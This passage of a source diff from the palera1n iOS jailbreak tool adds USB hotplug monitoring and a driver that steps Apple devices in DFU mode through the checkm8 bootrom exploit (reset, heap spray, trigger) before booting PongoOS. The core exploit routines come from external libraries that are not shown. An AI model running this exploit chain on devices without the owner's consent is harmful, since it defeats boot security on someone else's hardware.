std::this_thread::sleep_for(std::chrono::milliseconds(250));
|
||||
}
|
||||
}
|
||||
|
||||
bool start_hotplug_monitoring(hotplug_callback_t callback) {
|
||||
if (gHotplugRunning) return true;
|
||||
if (!callback) return false;
|
||||
|
||||
gUserCallback = callback;
|
||||
gHotplugRunning = true;
|
||||
gHotplugThread = std::thread(hotplug_polling_worker);
|
||||
return true;
|
||||
}
|
||||
|
||||
void stop_hotplug_monitoring(void) {
|
||||
if (!gHotplugRunning) return;
|
||||
|
||||
gHotplugRunning = false;
|
||||
if (gHotplugThread.joinable()) gHotplugThread.join();
|
||||
|
||||
for (const auto& [path, ctx] : gConnectedDevices) {
|
||||
if (ctx->session) liteusb_close_handle(ctx->session);
|
||||
}
|
||||
gConnectedDevices.clear();
|
||||
gUserCallback = nullptr;
|
||||
}
|
||||
|
||||
bool get_usb_device_serial(hotplug_handle_t handle, char* buffer, size_t maxLen) {
|
||||
auto* ctx = reinterpret_cast<PersistentDeviceContext*>(handle.handle);
|
||||
if (!ctx || !ctx->session || !buffer || maxLen == 0) return false;
|
||||
|
||||
char *serial_num = nullptr;
|
||||
bool success = false;
|
||||
|
||||
if (liteusb_get_device_serial_num(ctx->session, &serial_num) == LITEUSB_ERR_SUCCESS && serial_num) {
|
||||
success = ((size_t)snprintf(buffer, maxLen, "%s", serial_num) < maxLen);
|
||||
free(serial_num);
|
||||
}
|
||||
return success;
|
||||
}
|
||||
|
||||
static bool send_usb_control_request(hotplug_handle_t handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void* data, uint16_t wLength) {
|
||||
auto* ctx = reinterpret_cast<PersistentDeviceContext*>(handle.handle);
|
||||
if (!ctx || !ctx->session) return false;
|
||||
|
||||
uint32_t transferred = 0;
|
||||
return liteusb_immediate_ctrl_transfer(
|
||||
ctx->session, bmRequestType, bRequest, wValue, wIndex,
|
||||
reinterpret_cast<uint8_t*>(data), wLength, 5000, &transferred
|
||||
) == LITEUSB_ERR_SUCCESS;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
void exit_recovery(hotplug_handle_t handle) {
|
||||
char cmd1[] = "setenv auto-boot true";
|
||||
char cmd2[] = "saveenv";
|
||||
char cmd3[] = "reboot";
|
||||
|
||||
send_usb_control_request(handle, 0x40, 0, 0, 0, cmd1, sizeof(cmd1));
|
||||
send_usb_control_request(handle, 0x40, 0, 0, 0, cmd2, sizeof(cmd2));
|
||||
send_usb_control_request(handle, 0x40, 0, 0, 0, cmd3, sizeof(cmd3));
|
||||
}
|
||||
|
||||
#endif // WITH_GUI || WITH_TUI
|
||||
@@ -0,0 +1,82 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#if defined(WITH_GUI) || defined(WITH_TUI)
|
||||
|
||||
#ifndef MAIN__HOTPLUG_HPP
|
||||
#define MAIN__HOTPLUG_HPP
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef __APPLE__
|
||||
# include <IOKit/IOKitLib.h>
|
||||
# include <IOKit/IOCFPlugIn.h>
|
||||
# include <IOKit/usb/IOUSBLib.h>
|
||||
#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN)
|
||||
# include <libusb-1.0/libusb.h>
|
||||
#elif !defined(__APPLE__) && defined(WITH_CIDERRAIN)
|
||||
# include <liteusb.h>
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef enum {
|
||||
HOTPLUG_EVENT_DFU_ADD,
|
||||
HOTPLUG_EVENT_DFU_REMOVE,
|
||||
HOTPLUG_EVENT_RECOVERY_ADD,
|
||||
HOTPLUG_EVENT_RECOVERY_REMOVE
|
||||
} hotplug_event_t;
|
||||
|
||||
typedef struct {
|
||||
#ifdef __APPLE__
|
||||
io_service_t serv;
|
||||
IOUSBDeviceInterface320 **device;
|
||||
#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN)
|
||||
libusb_device *serv;
|
||||
libusb_device_handle *device;
|
||||
#elif !defined(__APPLE__) && defined(WITH_CIDERRAIN)
|
||||
liteusb_handle_t *handle;
|
||||
#endif
|
||||
} hotplug_handle_t;
|
||||
|
||||
typedef void (*hotplug_callback_t)(hotplug_event_t event, hotplug_handle_t handle);
|
||||
|
||||
bool start_hotplug_monitoring(hotplug_callback_t callback);
|
||||
void stop_hotplug_monitoring(void);
|
||||
bool get_usb_device_serial(hotplug_handle_t handle, char* buffer, size_t maxLen);
|
||||
void exit_recovery(hotplug_handle_t handle);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // MAIN__HOTPLUG_HPP
|
||||
|
||||
#endif // WITH_GUI || WITH_TUI
|
||||
+389
@@ -0,0 +1,389 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#include "exploit.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdatomic.h>
|
||||
#include <stdbool.h>
|
||||
#include <pthread.h>
|
||||
#include <stdint.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "globals.h"
|
||||
#include "paleinfo.h"
|
||||
#include "pongo_helper.h"
|
||||
|
||||
#if WITH_CIDERRAIN
|
||||
# include <ciderra1n/log.h>
|
||||
# include <ciderra1n/common.h>
|
||||
# include <ciderra1n/usb.h>
|
||||
# include <ciderra1n/ra1n.h>
|
||||
# include <ciderra1n/dfu.h>
|
||||
#else
|
||||
# include <openra1n/utils.h>
|
||||
# include <openra1n/checkm8.h>
|
||||
# include <openra1n/dfu.h>
|
||||
# include <openra1n/payload.h>
|
||||
# include <openra1n/shim.h>
|
||||
#endif
|
||||
|
||||
#define VID_APPLE (0x5AC)
|
||||
#define PID_PONGO (0x4141)
|
||||
#define PID_DFU (0x1227)
|
||||
|
||||
const char* stage_to_string(int stage)
|
||||
{
|
||||
switch (stage) {
|
||||
case STAGE_SETUP: return "Checking if device is ready...";
|
||||
case STAGE_SPRAY: return "Setting up the exploit (this is the heap spray)...";
|
||||
case STAGE_PATCH: return "Right before trigger (this is the real bug setup)...";
|
||||
case STAGE_YOLODFU: return "Booting PongoOS...";
|
||||
case STAGE_PONGO: return "Booting...";
|
||||
case STAGE_DONE: return "Done!";
|
||||
default: return "Waiting...";
|
||||
}
|
||||
}
|
||||
|
||||
int stage_to_progress(int stage)
|
||||
{
|
||||
switch (stage) {
|
||||
case STAGE_SETUP: return 30;
|
||||
case STAGE_SPRAY: return 40;
|
||||
case STAGE_PATCH: return 50;
|
||||
case STAGE_YOLODFU: return 60;
|
||||
case STAGE_PONGO: return 70;
|
||||
case STAGE_DONE: return 100;
|
||||
default: return 0;
|
||||
}
|
||||
}
|
||||
|
||||
const char* err_to_string(int err) {
|
||||
switch (err) {
|
||||
case 0: return "";
|
||||
case 1: return "-p1_client_err_abort_success";
|
||||
case 2: return "-p1_client_err_unsupported";
|
||||
case 3: return "-p1_client_err_response_size";
|
||||
case 4: return "-p1_client_err_abort";
|
||||
case 5: return "-p1_client_err_timeout";
|
||||
case 6: return "-p1_client_err_pipe_stalled";
|
||||
case 7: return "-p1_client_err_no_device";
|
||||
case 8: return "-p1_client_err_notresponding";
|
||||
case 9: return "-p1_client_err_invalid_response";
|
||||
case 10: return "-p1_client_err_async_download_failed";
|
||||
case 11: return "-p1_client_err_transaction_abort_failed";
|
||||
case 12: return "-p1_client_err_status";
|
||||
case 13: return "-p1_client_err_not_dfu_idle";
|
||||
case 14: return "-p1_client_err_no_stage1_generator";
|
||||
case 15: return "-p1_client_err_invalid_payload";
|
||||
case 16: return "-p1_client_err_no_image";
|
||||
case 17: return "-p1_client_err_not_dfu";
|
||||
case 18: return "-p1_client_err_soft_dfu";
|
||||
case 19: return "-p1_client_err_cnt_overflow";
|
||||
default: return "-p1_client_err_undefined";
|
||||
}
|
||||
}
|
||||
|
||||
#if WITH_CIDERRAIN
|
||||
|
||||
int exploit(int *stage)
|
||||
{
|
||||
LOG("Waiting for devices...");
|
||||
|
||||
*stage = STAGE_RESET;
|
||||
|
||||
client_t* client = NULL;
|
||||
if (!alloc_usb_client(&client)) {
|
||||
*stage = STAGE_ERROR;
|
||||
return RA1N_CLIENT_ERR_UNDEFINED;
|
||||
}
|
||||
|
||||
ra1n_client_err_t cr = RA1N_CLIENT_ERR_NONE;
|
||||
|
||||
uint32_t flag = 0;
|
||||
uint16_t cpid = 0;
|
||||
|
||||
for (;;) {
|
||||
if (usb_open(client) != 0) {
|
||||
// no usb device
|
||||
// slight delay is required for AMD
|
||||
usleep(500000);
|
||||
goto reloop;
|
||||
}
|
||||
|
||||
if (!usb_get_client_flag(client, &flag))
|
||||
goto reloop;
|
||||
|
||||
if (flag & kDeviceDFUModeFlag) {
|
||||
if (flag & kDeviceStandardPwnedDFUModeFlag) {
|
||||
LOG_ERROR("Found an unknown pwned DFU mode device");
|
||||
usb_close(client);
|
||||
*stage = STAGE_ERROR;
|
||||
continue; // err
|
||||
}
|
||||
|
||||
if (flag & kDevicePwnedDFUModeFlag) {
|
||||
LOG_ERROR("Detected pwned DFU mode device, please enter normal DFU mode.");
|
||||
usb_close(client);
|
||||
*stage = STAGE_ERROR;
|
||||
continue; // err
|
||||
}
|
||||
|
||||
if (!(flag & kDeviceNotSoftDFUModeFlag)) {
|
||||
LOG_ERROR("Found soft-DFU mode device");
|
||||
usb_close(client);
|
||||
*stage = STAGE_ERROR;
|
||||
break; // err
|
||||
}
|
||||
|
||||
LOG("Found DFU mode device");
|
||||
|
||||
if (*stage == STAGE_RESET) {
|
||||
cr = ra1n_stage_reset(client);
|
||||
if (cr == RA1N_CLIENT_ERR_NONE || cr == RA1N_CLIENT_ERR_ABORT_SUCCESS || cr == RA1N_CLIENT_ERR_NOTRESPONDING) {
|
||||
usb_reset(client, kUSBResetDevice | kUSBReEnumerate);
|
||||
usb_close(client);
|
||||
if (cr == RA1N_CLIENT_ERR_NONE) { // success
|
||||
*stage = STAGE_SETUP;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
LOG_ERROR("STAGE_RESET failed (rv=%d, reason=%s)", cr, err_to_string(cr));
|
||||
usb_close(client);
|
||||
*stage = STAGE_ERROR;
|
||||
break; // err
|
||||
} else if (*stage == STAGE_SETUP) {
|
||||
cr = ra1n_stage_setup(client);
|
||||
if (cr == RA1N_CLIENT_ERR_NONE) { // success
|
||||
usb_reset(client, kUSBResetDevice | kUSBReEnumerate);
|
||||
usb_close(client);
|
||||
*stage = STAGE_PATCH;
|
||||
continue;
|
||||
}
|
||||
LOG_ERROR("STAGE_SETUP failed (rv=%d, reason=%s)", cr, err_to_string(cr));
|
||||
usb_close(client);
|
||||
*stage = STAGE_ERROR;
|
||||
break; // err
|
||||
} else if (*stage == STAGE_PATCH) {
|
||||
cr = ra1n_stage_trigger(client, NULL);
|
||||
if (cr == RA1N_CLIENT_ERR_NONE) { // exploited
|
||||
usb_reset(client, kUSBResetDevice | kUSBReEnumerate);
|
||||
usb_close(client);
|
||||
*stage = STAGE_YOLODFU;
|
||||
LOG("Checkmate?");
|
||||
continue;
|
||||
}
|
||||
LOG_ERROR("STAGE_PATCH failed (rv=%d, reason=%s)", cr, err_to_string(cr));
|
||||
usb_close(client);
|
||||
*stage = STAGE_ERROR;
|
||||
break; // err
|
||||
} else if (*stage == STAGE_YOLODFU) {
|
||||
LOG_ERROR("STAGE_YOLODFU failed (rv=%d, reason=%s)", cr, err_to_string(cr));
|
||||
usb_close(client);
|
||||
*stage = STAGE_ERROR;
|
||||
break; // err
|
||||
}
|
||||
continue;
|
||||
} else if (flag & kDeviceYoloDFUModeFlag) {
|
||||
LOG("Found download mode device");
|
||||
|
||||
*stage = STAGE_YOLODFU;
|
||||
cr = send_compressed_pongo(client, g_payload_pongo.data, g_payload_pongo.data_len); // yoloDFU -> pongoOS
|
||||
if (cr == RA1N_CLIENT_ERR_NONE) {
|
||||
usb_reset(client, kUSBResetDevice | kUSBReEnumerate);
|
||||
usb_close(client); // success
|
||||
continue;
|
||||
}
|
||||
LOG_ERROR("Failed to send pongo image (rv=%d, reason=%s)", cr, err_to_string(cr));
|
||||
usb_close(client);
|
||||
*stage = STAGE_ERROR;
|
||||
break; // err
|
||||
} else if (flag & kDevicePongoModeFlag) {
|
||||
LOG("Found pongo mode device");
|
||||
|
||||
if (palerain_flags & palerain_option_pongo_exit) {
|
||||
usb_close(client);
|
||||
*stage = STAGE_DONE;
|
||||
break; // success
|
||||
} else {
|
||||
LOG("Booting...");
|
||||
cr = send_full_pongo_jailbreak(client);
|
||||
if (cr != RA1N_CLIENT_ERR_NONE) {
|
||||
LOG_ERROR("Failed to boot device (rv=%d, reason=%s)", cr, err_to_string(cr));
|
||||
usb_close(client);
|
||||
*stage = STAGE_ERROR;
|
||||
break; // err
|
||||
}
|
||||
*stage = STAGE_DONE;
|
||||
break; // success
|
||||
}
|
||||
|
||||
usb_close(client);
|
||||
continue;
|
||||
} else {
|
||||
LOG_ERROR("Found unknown device");
|
||||
usb_close(client);
|
||||
*stage = STAGE_ERROR;
|
||||
break; // err
|
||||
}
|
||||
|
||||
reloop:
|
||||
usb_close(client);
|
||||
}
|
||||
|
||||
return cr;
|
||||
}
|
||||
|
||||
#else // WITH_CIDERRAIN
|
||||
|
||||
int exploit(int *stage)
|
||||
{
|
||||
LOG("Waiting for devices...");
|
||||
|
||||
struct DeviceConfiguration deviceConfig;
|
||||
struct PayloadConfiguration payloadConfig;
|
||||
|
||||
*stage = STAGE_RESET;
|
||||
checkm8_err_t cr = CHECKM8_ERR_NONE;
|
||||
|
||||
usb_handle_t dfuHandle;
|
||||
usb_handle_t pongoHandle;
|
||||
|
||||
init_usb_handle(&dfuHandle, VID_APPLE, PID_DFU);
|
||||
init_usb_handle(&pongoHandle, VID_APPLE, PID_PONGO);
|
||||
|
||||
for (;;) {
|
||||
if (wait_usb_handle(&pongoHandle)) {
|
||||
LOG("Found pongo mode device");
|
||||
*stage = STAGE_PONGO;
|
||||
|
||||
cr = send_full_pongo_jailbreak(&pongoHandle);
|
||||
if (cr != CHECKM8_ERR_NONE) {
|
||||
LOG_ERROR("Failed to boot device (rv=%d, reason=%s)", cr, err_to_string(cr));
|
||||
*stage = STAGE_ERROR;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
*stage = STAGE_DONE;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
if (wait_usb_handle(&dfuHandle)) {
|
||||
char *sn = get_usb_serial_number(&dfuHandle);
|
||||
if (!sn) goto reloop;
|
||||
|
||||
uint64_t cpid = dfu_serial_number_get_cpid(sn);
|
||||
if (!checkm8_find_device_configuration_for_cpid(cpid, &deviceConfig) ||
|
||||
!checkm8_find_payload_configuration_for_cpid(cpid, &payloadConfig))
|
||||
{
|
||||
free(sn);
|
||||
goto reloop;
|
||||
}
|
||||
|
||||
if (dfu_serial_number_is_pwned(sn)) {
|
||||
LOG_ERROR("Detected pwned DFU mode device, please enter normal DFU mode.");
|
||||
free(sn);
|
||||
*stage = STAGE_ERROR;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
if (dfu_serial_number_is_in_dfu_mode(sn)) {
|
||||
LOG("Found DFU mode device");
|
||||
} else if (dfu_serial_number_is_in_yolo_dfu(sn)) {
|
||||
LOG("Found download mode device");
|
||||
*stage = STAGE_YOLODFU;
|
||||
} else {
|
||||
free(sn);
|
||||
goto reloop;
|
||||
}
|
||||
|
||||
free(sn);
|
||||
|
||||
switch (*stage) {
|
||||
case STAGE_RESET:
|
||||
cr = checkm8_stage_reset(&dfuHandle);
|
||||
if (cr != CHECKM8_ERR_NONE) { // err
|
||||
LOG_ERROR("STAGE_RESET failed (rv=%d, reason=%s)", cr, err_to_string(cr));
|
||||
*stage = STAGE_RESET;
|
||||
goto reloop;
|
||||
}
|
||||
|
||||
*stage = STAGE_SETUP;
|
||||
goto reloop; // success
|
||||
case STAGE_SETUP:
|
||||
cr = checkm8_stage_setup(&dfuHandle, &deviceConfig);
|
||||
if (cr != CHECKM8_ERR_NONE) { // err
|
||||
LOG_ERROR("STAGE_SETUP failed (rv=%d, reason=%s)", cr, err_to_string(cr));
|
||||
*stage = STAGE_RESET;
|
||||
goto reloop;
|
||||
}
|
||||
*stage = STAGE_SPRAY;
|
||||
goto reloop;
|
||||
case STAGE_SPRAY:
|
||||
cr = checkm8_stage_spray(&dfuHandle, &deviceConfig);
|
||||
if (cr != CHECKM8_ERR_NONE) { // err
|
||||
LOG_ERROR("STAGE_SPRAY failed (rv=%d, reason=%s)", cr, err_to_string(cr));
|
||||
*stage = STAGE_RESET;
|
||||
goto reloop;
|
||||
}
|
||||
|
||||
*stage = STAGE_PATCH;
|
||||
goto reloop; // success
|
||||
case STAGE_PATCH:
|
||||
cr = checkm8_stage_patch(&dfuHandle, &deviceConfig, &payloadConfig);
|
||||
if (cr != CHECKM8_ERR_NONE) // err
|
||||
LOG_ERROR("STAGE_PATCH failed (rv=%d, reason=%s)", cr, err_to_string(cr));
|
||||
|
||||
*stage = STAGE_RESET;
|
||||
LOG("Checkmate?");
|
||||
goto reloop; // success
|
||||
case STAGE_YOLODFU:
|
||||
cr = send_compressed_pongo(&dfuHandle, g_payload_pongo.data, g_payload_pongo.data_len);
|
||||
if (cr != CHECKM8_ERR_NONE) {
|
||||
LOG_ERROR("Failed to send pongo image (rv=%d, reason=%s)", cr, err_to_string(cr));
|
||||
*stage = STAGE_ERROR;
|
||||
goto cleanup; // err
|
||||
};
|
||||
|
||||
continue; // success
|
||||
}
|
||||
|
||||
reloop:
|
||||
reset_usb_handle(&dfuHandle);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
cleanup:
|
||||
close_usb_handle(&dfuHandle);
|
||||
close_usb_handle(&pongoHandle);
|
||||
return cr;
|
||||
}
|
||||
|
||||
#endif // WITH_CIDERRAIN
|
||||
@@ -0,0 +1,63 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef RUN_H
|
||||
#define RUN_H
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
#include <atomic>
|
||||
using std::atomic_int;
|
||||
using std::atomic_bool;
|
||||
extern "C" {
|
||||
#else
|
||||
#include <stdatomic.h>
|
||||
#endif
|
||||
|
||||
enum exploit_stage_t {
|
||||
STAGE_RESET = 0,
|
||||
STAGE_SETUP = 1,
|
||||
STAGE_SPRAY = 2,
|
||||
STAGE_PATCH = 3,
|
||||
STAGE_YOLODFU = 4,
|
||||
STAGE_PONGO = 5,
|
||||
STAGE_DONE = 6,
|
||||
STAGE_ERROR = 7,
|
||||
};
|
||||
|
||||
const char* stage_to_string(int stage);
|
||||
int stage_to_progress(int stage);
|
||||
const char* err_to_string(int err);
|
||||
|
||||
int exploit(int *stage);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // RUN_H
|
||||
+52
-12
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#include "globals.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
@@ -8,49 +35,57 @@
|
||||
#include <string.h>
|
||||
|
||||
#if WITH_BINPACK
|
||||
# include "gen/payloads/binpack.h"
|
||||
# include "gen/embedded/binpack.h"
|
||||
#endif
|
||||
#if WITH_RAMDISK
|
||||
# include "gen/payloads/ramdisk.h"
|
||||
# include "gen/embedded/ramdisk.h"
|
||||
# include "gen/embedded/ramdisk-compressed.dmg.h"
|
||||
#endif
|
||||
#include "gen/payloads/Pongo.h"
|
||||
#include "gen/payloads/checkra1n-kpf-pongo.h"
|
||||
#include "gen/embedded/Pongo.h"
|
||||
#include "gen/embedded/checkra1n-kpf-pongo.h"
|
||||
#include "gen/embedded/checkra1n-kpf-pongo-compressed.h"
|
||||
|
||||
uint64_t palerain_flags = 0;
|
||||
char boot_args[0x270] = { '\0' };
|
||||
|
||||
#if WITH_BINPACK
|
||||
payload_t g_payload_overlay = {
|
||||
.data = payloads_binpack_dmg,
|
||||
.data_len = payloads_binpack_dmg_len,
|
||||
.data = embedded_binpack_dmg,
|
||||
.data_len = embedded_binpack_dmg_len,
|
||||
.uncompressed_data_len = 0,
|
||||
};
|
||||
#else
|
||||
payload_t g_payload_overlay = {
|
||||
.data = NULL,
|
||||
.data_len = 0,
|
||||
.uncompressed_data_len = 0,
|
||||
};
|
||||
#endif
|
||||
|
||||
#if WITH_RAMDISK
|
||||
payload_t g_payload_ramdisk = {
|
||||
.data = payloads_ramdisk_dmg,
|
||||
.data_len = payloads_ramdisk_dmg_len,
|
||||
.data = embedded_ramdisk_compressed_dmg_lzma,
|
||||
.data_len = embedded_ramdisk_compressed_dmg_lzma_len,
|
||||
.uncompressed_data_len = embedded_ramdisk_dmg_len,
|
||||
};
|
||||
#else
|
||||
payload_t g_payload_ramdisk = {
|
||||
.data = NULL,
|
||||
.data_len = 0,
|
||||
.uncompressed_data_len = 0,
|
||||
};
|
||||
#endif
|
||||
|
||||
payload_t g_payload_pongo = {
|
||||
.data = payloads_Pongo_bin,
|
||||
.data_len = payloads_Pongo_bin_len,
|
||||
.data = embedded_Pongo_bin,
|
||||
.data_len = embedded_Pongo_bin_len,
|
||||
.uncompressed_data_len = 0,
|
||||
};
|
||||
|
||||
payload_t g_payload_kpf = {
|
||||
.data = payloads_checkra1n_kpf_pongo,
|
||||
.data_len = payloads_checkra1n_kpf_pongo_len,
|
||||
.data = embedded_checkra1n_kpf_pongo_compressed_lzma,
|
||||
.data_len = embedded_checkra1n_kpf_pongo_compressed_lzma_len,
|
||||
.uncompressed_data_len = embedded_checkra1n_kpf_pongo_len,
|
||||
};
|
||||
|
||||
bool override_payload_from_file(const char *path, payload_t *out)
|
||||
@@ -86,6 +121,11 @@ bool override_payload_from_file(const char *path, payload_t *out)
|
||||
|
||||
out->data = buf;
|
||||
out->data_len = (size_t)len;
|
||||
// assume overwritten file is uncompressed
|
||||
// this ultimately determines if pongo should
|
||||
// decompress these files. user provided
|
||||
// files should not be compressed.
|
||||
out->uncompressed_data_len = 0;
|
||||
|
||||
return true;
|
||||
}
|
||||
+31
-1
@@ -1,3 +1,30 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef GLOBALS_H
|
||||
#define GLOBALS_H
|
||||
|
||||
@@ -5,12 +32,15 @@
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#define PALERAIN_VERSION "3.0.0"
|
||||
|
||||
extern uint64_t palerain_flags;
|
||||
extern char boot_args[0x270];
|
||||
|
||||
typedef struct {
|
||||
const uint8_t *data;
|
||||
size_t data_len;
|
||||
size_t uncompressed_data_len;
|
||||
} payload_t;
|
||||
|
||||
extern payload_t g_payload_overlay;
|
||||
@@ -28,4 +58,4 @@ bool override_payload_from_file(const char *path, payload_t *out);
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // GLOBALS_H
|
||||
#endif // GLOBALS_H
|
||||
@@ -1,239 +0,0 @@
|
